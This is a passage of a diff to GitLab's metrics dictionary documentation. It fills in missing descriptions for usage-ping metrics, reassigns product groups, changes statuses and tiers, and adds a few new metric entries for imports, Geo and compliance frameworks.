`data_available` Tiers: `free`, `premium`, `ultimate` @@ -15354,33 +15570,33 @@ Number of distinct users creating Terraform Module packages in recent 7 days Group: `group::configure` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.user_packages_total_unique_counts_monthly` -Missing description +A monthly count of users that have published a package to the registry [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184937_user_packages_total_unique_counts_monthly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.user_packages_total_unique_counts_weekly` -Missing description +A weekly count of users that have published a package to the registry -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184935_user_packages_total_unique_counts_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184935_user_packages_total_unique_counts_weekly.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `reply_by_email_enabled` @@ -15388,11 +15604,11 @@ Whether incoming email is setup [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210204124916_reply_by_email_enabled.yml) -Group: `group::product intelligence` +Group: `group::certify` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `search_unique_visits.i_search_advanced` @@ -15462,7 +15678,7 @@ Gitaly application performance Group: `group::gitaly` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -15740,7 +15956,7 @@ Projects with Prometheus alerting enabled Group: `group::configure` -Status: `data_available` +Status: `removed` Tiers: `free`, `premium`, `ultimate` @@ -15986,7 +16202,7 @@ Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage.create.snippets` -Snippets +Count of distinct author_id from snippets [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180316_snippets.yml) @@ -16068,6 +16284,18 @@ Status: `data_available` Tiers: `premium`, `ultimate` +### `usage_activity_by_stage.enablement.counts.geo_node_usage.git_push_event_count_weekly` + +Number of Git push events from Prometheus on the Geo secondary + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210604110603_git_push_event_count_weekly.yml) + +Group: `group::geo` + +Status: `data_available` + +Tiers: `premium`, `ultimate` + ### `usage_activity_by_stage.enablement.geo_secondary_web_oauth_users` Missing description @@ -16076,7 +16304,7 @@ Missing description Group: `` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -16112,7 +16340,7 @@ Total count of all custom compliance framework labels Group: `compliance` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -16166,15 +16394,15 @@ Tiers: `premium` ### `usage_activity_by_stage.manage.groups` -Missing description +Number of users who are group members. [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180756_groups.yml) -Group: `group::manage` +Group: `group::access` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage.manage.groups_imported` @@ -16286,75 +16514,75 @@ Tiers: `free` ### `usage_activity_by_stage.manage.ldap_admin_sync_enabled` -Has the instance configured LDAP Admin Sync `https://docs.gitlab.com/ee/administration/auth/ldap/#administrator-sync`? +Has the instance configured [LDAP Admin Sync](https://docs.gitlab.com/ee/administration/auth/ldap/#administrator-sync) [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/settings/20210216180811_ldap_admin_sync_enabled.yml) -Group: `group::manage` +Group: `group::access` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` ### `usage_activity_by_stage.manage.ldap_group_sync_enabled` -Has the instance configured LDAP Group Sync `https://docs.gitlab.com/ee/administration/auth/ldap/#group-sync`? +Has the instance configured [LDAP Group Sync](https://docs.gitlab.com/ee/administration/auth/ldap/#group-sync) [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/settings/20210216180809_ldap_group_sync_enabled.yml) -Group: `group::manage` +Group: `group::access` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` ### `usage_activity_by_stage.manage.ldap_keys` -Missing description +Number of users creating keys synced as part of LDAP -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180800_ldap_keys.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180800_ldap_keys.yml) -Group: `group::manage` +Group: `group::access` Status: `data_available` -Tiers: `free` +Tiers: `premium`, `ultimate` ### `usage_activity_by_stage.manage.ldap_servers` -Number of LDAP servers configured for the instance `https://docs.gitlab.com/ee/administration/auth/ldap/#multiple-ldap-servers` +Number of [LDAP servers configured for the instance](https://docs.gitlab.com/ee/administration/auth/ldap/#multiple-ldap-servers) [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180807_ldap_servers.yml) -Group: `group::manage` +Group: `group::access` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` ### `usage_activity_by_stage.manage.ldap_users` -Missing description +Number of users that are linked to LDAP -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180801_ldap_users.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180801_ldap_users.yml) -Group: `group::manage` +Group: `group::access` Status: `data_available` -Tiers: `free` +Tiers: `premium`, `ultimate` ### `usage_activity_by_stage.manage.omniauth_providers` -Missing description +Number of unique user logins using an OmniAuth provider [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183400_omniauth_providers.yml) -Group: `` +Group: `group::access` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage.manage.project_imports.bitbucket` @@ -16366,7 +16594,7 @@ Group: `group::import` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage.manage.project_imports.bitbucket_server` @@ -16378,7 +16606,7 @@ Group: `group::import` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage.manage.project_imports.git` @@ -16390,7 +16618,7 @@ Group: `group::import` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage.manage.project_imports.gitea` @@ -16402,7 +16630,7 @@ Group: `group::import` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage.manage.project_imports.github` @@ -16414,7 +16642,7 @@ Group: `group::import` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage.manage.project_imports.gitlab` @@ -16426,7 +16654,7 @@ Group: `group::import` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage.manage.project_imports.gitlab_migration` @@ -16438,7 +16666,7 @@ Group: `group::import` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage.manage.project_imports.gitlab_project` @@ -16450,7 +16678,7 @@ Group: `group::import` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage.manage.project_imports.manifest` @@ -16462,7 +16690,19 @@ Group: `group::import` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` + +### `usage_activity_by_stage.manage.project_imports.total` + +Count number of projects imported monthly + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210514141520_project_imports_total.yml) + +Group: `group::import` + +Status: `implemented` + +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage.manage.projects_imported.bitbucket` @@ -16598,87 +16838,87 @@ Tiers: `free` ### `usage_activity_by_stage.manage.user_auth_by_provider.google_oauth2` -Missing description +Number of unique user logins using Google OAuth authentication [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183410_google_oauth2.yml) -Group: `` +Group: `group::access` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage.manage.user_auth_by_provider.standard` -Missing description +Number of unique user logins using password authentication [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183408_standard.yml) -Group: `` +Group: `group::access` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage.manage.user_auth_by_provider.two-factor` -Missing description +Number of unique user logins using two factor authentication [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183402_two-factor.yml) -Group: `` +Group: `group::access` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage.manage.user_auth_by_provider.two-factor-via-u2f-device` -Missing description +Number of unique user logins using two factor via a U2F device [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183404_two-factor-via-u2f-device.yml) -Group: `` +Group: `group::access` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage.manage.user_auth_by_provider.two-factor-via-webauthn-device` -Missing description +Number of unique user logins using two factor via a WebAuthn device [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183406_two-factor-via-webauthn-device.yml) -Group: `` +Group: `group::access` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage.manage.users_created` -Missing description +Number of users [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180758_users_created.yml) -Group: `group::manage` +Group: `group::access` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage.manage.value_stream_management_customized_group_stages` -Missing description +Number of custom value stream analytics stages. [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180803_value_stream_management_customized_group_stages.yml) -Group: `group::manage` +Group: `group::optimize` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` ### `usage_activity_by_stage.monitor.clusters` @@ -16804,7 +17044,7 @@ Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage.package.projects_with_packages` -Projects with package registry configured +Projects with package registry enabled [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181055_projects_with_packages.yml) @@ -16812,7 +17052,7 @@ Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage.plan.assignee_lists` @@ -17000,7 +17240,7 @@ Count creator_id from projects with repository mirroring enabled. [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181934_projects_mirrored_with_pipelines_enabled.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` Status: `data_available` @@ -17080,7 +17320,7 @@ Tiers: ### `usage_activity_by_stage.secure.dependency_scanning_scans` -Counts dependency scanning jobs +Total number of users running Dependency Scanning Scans [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175220_dependency_scanning_scans.yml) @@ -17176,7 +17416,7 @@ Tiers: `free` ### `usage_activity_by_stage.secure.user_dependency_scanning_jobs` -no idea, Count of Dependency Scanning jobs run, it implies user but AFAIK we don't track per user +Total number of users running Dependency Scanning jobs [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175216_user_dependency_scanning_jobs.yml) @@ -17188,9 +17428,9 @@ Tiers: `ultimate` ### `usage_activity_by_stage.secure.user_license_management_jobs` -no idea, Count of License Scanning jobs run, it implies user but AFAIK we don't track per user +Total number of users running License Scanning jobs -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210216175218_user_license_management_jobs.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175218_user_license_management_jobs.yml) Group: `group::composition analysis` @@ -17200,7 +17440,7 @@ Tiers: `ultimate` ### `usage_activity_by_stage.secure.user_preferences_group_overview_security_dashboard` -Users who set personal preference to see Details on Group overview page +Users who set personal preference to see Details on Group information page [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182207_user_preferences_group_overview_security_dashboard.yml) @@ -17252,7 +17492,7 @@ Unique count of builds in project [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175525_ci_builds.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` Status: `data_available` @@ -17264,7 +17504,7 @@ Total pipelines in external repositories [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175527_ci_external_pipelines.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` Status: `data_available` @@ -17276,7 +17516,7 @@ Total pipelines in GitLab repositories [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175529_ci_internal_pipelines.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` Status: `data_available` @@ -17300,7 +17540,7 @@ Total Pipelines from templates in repository [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175533_ci_pipeline_config_repository.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` Status: `data_available` @@ -17312,7 +17552,7 @@ Pipeline schedules in GitLab [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175535_ci_pipeline_schedules.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` Status: `data_available` @@ -17324,7 +17564,7 @@ Distinct Users triggering Total pipelines [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175537_ci_pipelines.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` Status: `data_available` @@ -17336,7 +17576,7 @@ Total configured Triggers in project [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175539_ci_triggers.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` Status: `data_available` @@ -17360,7 +17600,7 @@ Projects with a GitHub service pipeline enabled [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175540_projects_reporting_ci_cd_back_to_github.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` Status: `data_available` @@ -17590,21 +17830,21 @@ Projects with Prometheus alerting enabled Group: `group::monitor` -Status: `data_available` +Status: `removed` Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.create.action_monthly_active_users_design_management` -Missing description +Monthly active users for design management [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180745_action_monthly_active_users_design_management.yml) -Group: `group::knowledge` +Group: `group::product planning` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.create.action_monthly_active_users_git_write` @@ -17620,7 +17860,7 @@ Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.create.action_monthly_active_users_ide_edit` -Count unique edit actions when users used an IDE, no matter which one +Number of unique users per month who edited a file from any web editor [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180327_action_monthly_active_users_ide_edit.yml) @@ -17628,7 +17868,7 @@ Group: `group::editor` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.create.action_monthly_active_users_project_repo` @@ -17644,7 +17884,7 @@ Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.create.action_monthly_active_users_sfe_edit` -Count unique edit actions using the single file editor +Number of users using single file editor [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180321_action_monthly_active_users_sfe_edit.yml) @@ -17652,11 +17892,11 @@ Group: `group::editor` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.create.action_monthly_active_users_snippet_editor_edit` -Count unique edit actions using the snippet editor +Number of users using the snippet editor [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180323_action_monthly_active_users_snippet_editor_edit.yml) @@ -17664,11 +17904,11 @@ Group: `group::editor` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.create.action_monthly_active_users_sse_edit` -Count unique edit actions using the static site editor +Number of users using the static site editor [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180325_action_monthly_active_users_sse_edit.yml) @@ -17676,11 +17916,11 @@ Group: `group::editor` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.create.action_monthly_active_users_web_ide_edit` -Count unique edit actions using the web IDE +Number of users editing using web IDE [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180319_action_monthly_active_users_web_ide_edit.yml) @@ -17688,19 +17928,19 @@ Group: `group::editor` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.create.action_monthly_active_users_wiki_repo` -Missing description +Unique monthly active users of the Wiki [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180747_action_monthly_active_users_wiki_repo.yml) -Group: `group::knowledge` +Group: `group::editor` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.create.approval_project_rules` @@ -17956,7 +18196,7 @@ Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.create.snippets` -Monthly Snippets +Count of distinct author_id from snippets for last 28 days [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180317_snippets.yml) @@ -18034,7 +18274,7 @@ Missing description Group: `` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -18062,6 +18302,18 @@ Status: `data_available` Tiers: `free` +### `usage_activity_by_stage_monthly.manage.custom_compliance_frameworks` + +Monthly count of all custom compliance framework labels + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210507165054_custom_compliance_frameworks.yml) + +Group: `compliance` + +Status: `data_available` + +Tiers: `premium`, `ultimate` + ### `usage_activity_by_stage_monthly.manage.events` Missing description @@ -18088,39 +18340,39 @@ Tiers: `free` ### `usage_activity_by_stage_monthly.manage.group_imports.group_import` -Missing description +Number of group import states [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183709_group_import.yml) -Group: `` +Group: `group::import` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.manage.group_saml_enabled` -Missing description +Whether group SAML is enabled [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/settings/20210216180833_group_saml_enabled.yml) -Group: `group::manage` +Group: `group:access` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` ### `usage_activity_by_stage_monthly.manage.groups` -Missing description +Number of users who are group members for last 28 days [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180816_groups.yml) -Group: `group::manage` +Group: `group::access` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.manage.groups_imported` @@ -18128,7 +18380,7 @@ Missing description [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183737_groups_imported.yml) -Group: `` +Group: `group::import` Status: `deprecated` @@ -18232,43 +18484,43 @@ Tiers: `free` ### `usage_activity_by_stage_monthly.manage.ldap_admin_sync_enabled` -Missing description +Whether LDAP admin sync is enabled [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/settings/20210216180831_ldap_admin_sync_enabled.yml) -Group: `group::manage` +Group: `group::access` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` ### `usage_activity_by_stage_monthly.manage.ldap_group_sync_enabled` -Missing description +Has the instance configured [LDAP Group Sync](https://docs.gitlab.com/ee/administration/auth/ldap/#group-sync) [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/settings/20210216180829_ldap_group_sync_enabled.yml) -Group: `group::manage` +Group: `group::acess` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` ### `usage_activity_by_stage_monthly.manage.ldap_keys` -Missing description +Number of users creating keys synced as part of LDAP for last 28 days. -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180820_ldap_keys.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216180820_ldap_keys.yml) -Group: `group::manage` +Group: `group::acess` Status: `data_available` -Tiers: `free` +Tiers: `premium`, `ultimate` ### `usage_activity_by_stage_monthly.manage.ldap_servers` -Missing description +Number of LDAP servers configured [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216180827_ldap_servers.yml) @@ -18276,103 +18528,103 @@ Group: `group::manage` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` ### `usage_activity_by_stage_monthly.manage.ldap_users` -Missing description +Number of users that are linked to LDAP -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180822_ldap_users.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216180822_ldap_users.yml) -Group: `group::manage` +Group: `group::access` Status: `data_available` -Tiers: `free` +Tiers: `premium`, `ultimate` ### `usage_activity_by_stage_monthly.manage.omniauth_providers` -Missing description +Number of unique user logins using an OmniAuth provider [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183627_omniauth_providers.yml) -Group: `` +Group: `group::access` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.manage.project_imports.bitbucket` -Missing description +Count of projects imported from Bitbucket [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183650_bitbucket.yml) -Group: `` +Group: `group::import` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.manage.project_imports.bitbucket_server` -Missing description +Count of projects imported from Bitbucket Server [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183652_bitbucket_server.yml) -Group: `` +Group: `group::import` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.manage.project_imports.git` -Missing description +Count of projects imported from Git [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183655_git.yml) -Group: `` +Group: `group::import` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.manage.project_imports.gitea` -Missing description +Count of projects imported from Gitea [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183653_gitea.yml) -Group: `` +Group: `group::import` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.manage.project_imports.github` -Missing description +Count of projects imported from GitHub [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183648_github.yml) -Group: `` +Group: `group::import` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.manage.project_imports.gitlab` -Missing description +Count of projects imported from GitLab using Project Export/Import [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183646_gitlab.yml) -Group: `` +Group: `group::import` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.manage.project_imports.gitlab_migration` @@ -18380,11 +18632,11 @@ Missing description [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183659_gitlab_migration.yml) -Group: `` +Group: `group::import` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.manage.project_imports.gitlab_project` @@ -18392,11 +18644,11 @@ Missing description [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183644_gitlab_project.yml) -Group: `` +Group: `group::import` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.manage.project_imports.manifest` @@ -18404,35 +18656,47 @@ Missing description [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183657_manifest.yml) -Group: `` +Group: `group::import` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` + +### `usage_activity_by_stage_monthly.manage.project_imports.total` + +Total count of projects imported + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210520111133_total.yml) + +Group: `group::import` + +Status: `implemented` + +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.manage.projects_imported.bitbucket` -Missing description +Count of projects imported from Bitbucket [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183720_bitbucket.yml) -Group: `` +Group: `group::import` Status: `deprecated` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.manage.projects_imported.bitbucket_server` -Missing description +Count of projects imported from Bitbucket Server [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183722_bitbucket_server.yml) -Group: `` +Group: `group::import` Status: `deprecated` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.manage.projects_imported.git` @@ -18532,75 +18796,75 @@ Tiers: ### `usage_activity_by_stage_monthly.manage.unique_users_all_imports` -Missing description +Number of users from projects imported [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183638_unique_users_all_imports.yml) -Group: `` +Group: `group::import` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.manage.user_auth_by_provider.google_oauth2` -Missing description +Number of unique user logins using Google OAuth authentication [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183636_google_oauth2.yml) -Group: `` +Group: `group::access` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.manage.user_auth_by_provider.standard` -Missing description +Number of unique user logins using password authentication [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183634_standard.yml) -Group: `` +Group: `group::access` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.manage.user_auth_by_provider.two-factor` -Missing description +Number of unique user logins using two factor authentication [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183629_two-factor.yml) -Group: `` +Group: `group::access` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.manage.user_auth_by_provider.two-factor-via-u2f-device` -Missing description +Number of unique user logins using two factor via a U2F device [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183631_two-factor-via-u2f-device.yml) -Group: `` +Group: `group::access` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.manage.user_auth_by_provider.two-factor-via-webauthn-device` -Missing description +Number of unique user logins using two factor via a WebAuthn device [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183633_two-factor-via-webauthn-device.yml) -Group: `` +Group: `group::access` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.manage.users_created` @@ -18608,11 +18872,11 @@ Number of users created in the month [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180818_users_created.yml) -Group: `group::manage` +Group: `group::access` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.manage.value_stream_management_customized_group_stages` @@ -18736,7 +19000,7 @@ Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.package.projects_with_packages` -Incident confidential status changed event +The total number of projects in a given month with at least one package [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181057_projects_with_packages.yml) @@ -18744,7 +19008,7 @@ Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.plan.assignee_lists` @@ -18932,7 +19196,7 @@ Count creator_id from projects with repository mirroring enabled. [YAML 